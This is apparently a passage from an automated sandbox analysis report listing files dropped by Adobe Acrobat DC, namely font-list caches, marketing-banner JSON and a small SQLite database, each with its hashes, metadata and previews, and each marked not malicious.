SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6904

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363515582394867
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJM3g98kUwPeUkwRe9:YvXKXaIVZc0vFxOGMbLUkee9
MD5:	CFB85189F3D50D3A7D9C05E34EF57303
SHA1:	2C6C0A1800C27DCA51CADE903582042E3C9B7916
SHA-256:	D5E27761E8E99017D366193E29D8C8A20B08F257F9FEFA34C4B49BFE2CFC4AB8
SHA-512:	3E677C84BCC0300A63ED8F5EA4254DDE62708F02863F1DE1898CE2255E8E5FC4FFB486F0A796BA450BA7BCD382C7BAD15BC47DAEAEC03610FFF13537CFFA63CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30978275317775
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfBoTfXpnrPeUkwRe9:YvXKXaIVZc0vFxOGWTfXcUkee9
MD5:	B752BE7E4A2AF0A95E8351ECF988EB31
SHA1:	7BF876B278F2348F0FFD0AC6D8DAB785A8EB68AC
SHA-256:	52AEE9BDDD4093E44ACC60C97750E9722EB231EDF83B9EE1C9C2F755A991BDF7
SHA-512:	62D9D413156DF6B0699DFBF8621AF9F249700578D6C77BEC0400280F24133A0E4A143A7DD5EEF9E92BFEAB10E70707706065BF122B1C414DA464E12EAFCB1ECC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289800469994109
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfBD2G6UpnrPeUkwRe9:YvXKXaIVZc0vFxOGR22cUkee9
MD5:	709DF8A2D903305C4D4EEE7CAB655421
SHA1:	8DE76B7D1BB8725E7ACC2C389011CB91402685FF
SHA-256:	0176AF9E78911C4A78A1FD4D1C6055D5B125014DB23FFC126E266D9D6A7F74CD
SHA-512:	F6A4B741771B96809C61010206D9600CE5218EE6669730EC89AA0FD65A62E21F69B6218EDE00859E370CAE30248E600A891201F4A3A02B83A8A2D2AA8EF9B69B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3505314288032775
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfPmwrPeUkwRe9:YvXKXaIVZc0vFxOGH56Ukee9
MD5:	03BE8BB0DABAFC9663FBF26E5B9F39B2
SHA1:	A9C93EEB4E031FD8EF5ABDD6761A130F75B45EE1
SHA-256:	202DAC8301BA6EE886FBAFECEFC135DA8FE39728DE27E9CFB2B6F3115F1BDAD2
SHA-512:	9F8C9E97C9BE1B8EEBBA530AFFEFFAE27140A7BD4402CB17D52C75A4D777ED09B245C968FA7080C46C86EBE2BC9EA007054D943ED931BA6EE43F2460F371C33E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685828936501436
Encrypted:	false
SSDEEP:	24:Yv6XDVzvr7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSk:Yv2Xhgy6SAFv5Ah8cv/k
MD5:	895716389454AA97411BEAFD66B267EF
SHA1:	5CAEAE98172B96B3A2ADC75E5281C0EB1BFB59A9
SHA-256:	AAC7A447B4570234159DED904DF1121E4E726FDE7795362CDCB41F37FC418370
SHA-512:	14047B475A66A5F5D57CFCF62BF357FB29081752AB7A02C629502DC63F7DAD4DAF0C2C9E9A784759780E5E1BCB3329A03FA81BA9A2A16651B354A83586B81F73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294903881180724
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJf8dPeUkwRe9:YvXKXaIVZc0vFxOGU8Ukee9
MD5:	5672142A2239D42F3B1F786B17100C4C
SHA1:	37B02E95C94045018FA98CA36423D3CD2F986CE0
SHA-256:	B0627C2AB4965EBB9CB0E2C1C0719E312BF0371D3AF1FA7F735E0CD01DCAD41E
SHA-512:	ADB38F27E4FD1F602CC865ADF0809DF56F08791B255C2A7BA99A4F37B16B1E8F48AEA43F4DE1EC21168335A2578DE687EBCE7036445146E07F09EF31E98CD338
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.298612887908808
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfQ1rPeUkwRe9:YvXKXaIVZc0vFxOGY16Ukee9
MD5:	BA9B760191CF342164DE7AED6E7901E1
SHA1:	FB4A43BA7D444FAEA00EF53E592ACC79B03818AA
SHA-256:	43578C899F081A9858AEEECCCE287D14CAAABA9636D75536AA7A7414F5985BBA
SHA-512:	B677074A9E588B75648FBF4BEE520B1E02CEC9C8E5D9C391BBEA19B88E23947A1736FBCFF46DBC32158372A3B9F32A35AAC28989C4D4E27939C4D81DD6ADC40E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3031511111095675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfFldPeUkwRe9:YvXKXaIVZc0vFxOGz8Ukee9
MD5:	FC81E9D584EA34F446060A2CBFAB43F9
SHA1:	6654B8AD8996AB46A5C042FEEB26AC547824044D
SHA-256:	1968D001691EBD8FB7A5F187573980A95621BBA120F82A05D0BA7002F359BE1A
SHA-512:	F97CD56EA62E4EA1F1553D25A7E61296B825BF0C5320584B460FB2476BC84F4F26359BBB0C451DCC4BBDC5FE6CF702CD9F799F9B6CBE40B422612F961CA5D8BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.318691112651402
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfzdPeUkwRe9:YvXKXaIVZc0vFxOGb8Ukee9
MD5:	679044980F6792232D8BD97E9A2CF3F3
SHA1:	28F0B9EFC58E15BBD089AD703B13C28701C9237C
SHA-256:	A786BC130FD2862B3983024CBD611525CF794A3A73B5D24309BB455560DD1FA0
SHA-512:	59F8D8D67089EC83AF12123D6B1BD7F7DFC6855EA747FB37EE2418DCF0FD4FEA03822945849184CF29CD271EC272AB4FB9A4A38342FCABB5CCAD1CF550670402
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29959837084086
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfYdPeUkwRe9:YvXKXaIVZc0vFxOGg8Ukee9
MD5:	E4EB85800375A48E172C6C5B0C791BB6
SHA1:	98C9552CEF44DF4A377115D21D6EA6726E8E73A9
SHA-256:	40137788086F59F22569E4C9B78FD3113DAE804341ADF9B5BC7491CC477F50E2
SHA-512:	AA5A1D6F6A98CEFFBA005D5DE8B03F67A86B44F83A786E1B1C3A7A976B559DBEBCB1949B2EB98F7C2EDDBB13AAF9700DCAADD6CE68D50234498AA74B2733E2B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.286490513717492
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJf+dPeUkwRe9:YvXKXaIVZc0vFxOG28Ukee9
MD5:	CEAE74F27A86AEB4FB1924D9C3847987
SHA1:	910F27524863B66691558A9A068E10DA8BD332EC
SHA-256:	2E55C3E0638FCFF14690A0820B7754C1365A2C8532812392C56CC18615348F24
SHA-512:	BDE495BC402450F6A8101392E3EBFBDEDEBB8718C85B9BFF8ABDC17B87961FD1748D61A6E41F55D089B636C3DAF9DA0E4D784890FB624E2061AFCD69E3C6A87D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.283148228852586
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfbPtdPeUkwRe9:YvXKXaIVZc0vFxOGDV8Ukee9
MD5:	F50BB6C4700AB1F1C68C928FB47A1086
SHA1:	6292CE8A93DB0052E1432407134B5B975DE812EC
SHA-256:	3C17459B7BA0CD90D152F1E27F22573B5A6709030BBF2EB820DF0FDEBDC7339D
SHA-512:	BF8496571B11809CED9ACA257998A74696B735696B6432473563E1AAE272DB1F95CFDFC447652142D211538CB4DEFF92A54DE81F4FCA4A7EF69DEAD49D2AD232
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.288089987928411
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJf21rPeUkwRe9:YvXKXaIVZc0vFxOG+16Ukee9
MD5:	4E5C22F0E41AE21D1D56A601B21608C3
SHA1:	282D5ED665831A67888BDD22151B5B64BF0A8BB2
SHA-256:	5F1EE3BC65B689E539CD1575C77C806802D539D111A259862E4AC2586D62F085
SHA-512:	500933C797A7E56A460E61124777598ECD66F1F7C70DF766A021F9F258125E1000C16D4A46A94485BA026C32BE2FFAB13C525081B6C9C60194E03C362BFD321A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660738297872892
Encrypted:	false
SSDEEP:	24:Yv6XDVzvr7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSk:Yv2HBgkDMUJUAh8cvMk
MD5:	5EF273C907E02588DDDBC9D19B7726C8
SHA1:	A49B75A88242F82EEA38F179FDE2DDB995AD4630
SHA-256:	81085D96CAB72186F92F56E13A721950130A30454CBD174E293ACF718B5E3621
SHA-512:	E228BEBB17D264C179896DE91F223E2F4A6701AC4B339804303F4A853CB99904116EB278B79B1A95E552051B02A739F7E48F7DABA9DFB2B58B2A3C2E770717FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.263980059194886
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJfshHHrPeUkwRe9:YvXKXaIVZc0vFxOGUUUkee9
MD5:	27B231925514A7E67D14260C78EBE922
SHA1:	365FFE844B1D2C6160D4F25FCA18AB7F1DE77C7D
SHA-256:	D73B80E2BF3991D67A54C0EE45A9752C57567ADC66DA96306AE94D3E7FF64F0C
SHA-512:	01A4B67B046114A77319C7CEF85C1B24F79BC7CAB36A807D0E71B3529F9E936662F586662B2B1B4DFF8BA6047791B6E122AF5036350C1A8CE76695553D9DF858
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278662774765637
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaInjoVoZcg1vRcR0YSc2xoAvJTqgFCrPeUkwRe9:YvXKXaIVZc0vFxOGTq16Ukee9
MD5:	88C573C36C72790551953AA89A6DEFBA
SHA1:	45133EC8541609CC3B2B2FD1EF94C64E3276FF6A
SHA-256:	9745B3B2C5686FCCD2316431CE2B9A692DE68866856053CE91CFC94AC0D30E34
SHA-512:	BCF8E99ED1A000627BBCF316CE9CCB8B9926BB405F8910185EBF59E3B5061969BAB029687B05739EC4E50B7F0EB4D4EE78C4FFC068E9282EC19BD70E5B184E91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ef931107-2dee-4735-b19d-f64e3a223afa","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736735791985,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.130858053190517
Encrypted:	false
SSDEEP:	24:YmlaEayrzxRqb9vKSETjjxcj0SdEdCF2wTjc2LSPGBMvCuwGb1L25ZK9eaeucOG:YOcb94xucSYJWMvJw4iHK93U
MD5:	BC639ABE76FEE369A003AC193E4F42C3
SHA1:	0F8F2F90C78967573600365721DCA93580C7D02A
SHA-256:	0A0870BBFFB34047210B236AE46D94321A9E3CC2B9636ADBAF15A906E7848E8C
SHA-512:	50B1CF3CC59A5A09A139A1FB6E0457002418694B6AFDF78DC3B13C5E4830E6A68D959C62133119E84A78F8CE72C5806C88C2D7D03A6C2B13C7B468F438AD4416
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"911e4c1c13694a1ffaed77a92e8ce380","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736560921000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a07211ed4010de67d0d0c6798923d462","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736560921000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b6ca3e23d2ccf9a1e760d7c7d39a9069","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736560921000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fe949fa4b119e93420f95e7d8c6101ea","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736560921000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b932e20b2dd1f49613b17d53b48a1e97","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736560921000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3ff8ca787169aa0b267580dfb077efd6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188075234556593
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU1SvR9H9vxFGiDIAEkGVvpN:lNVmswUUUUUUUU1+FGSItB
MD5:	35D157AA3B1D1D540EF38706C86680E8
SHA1:	F1D6B4D8809CE76C31F8491E209C7D3C3802D697
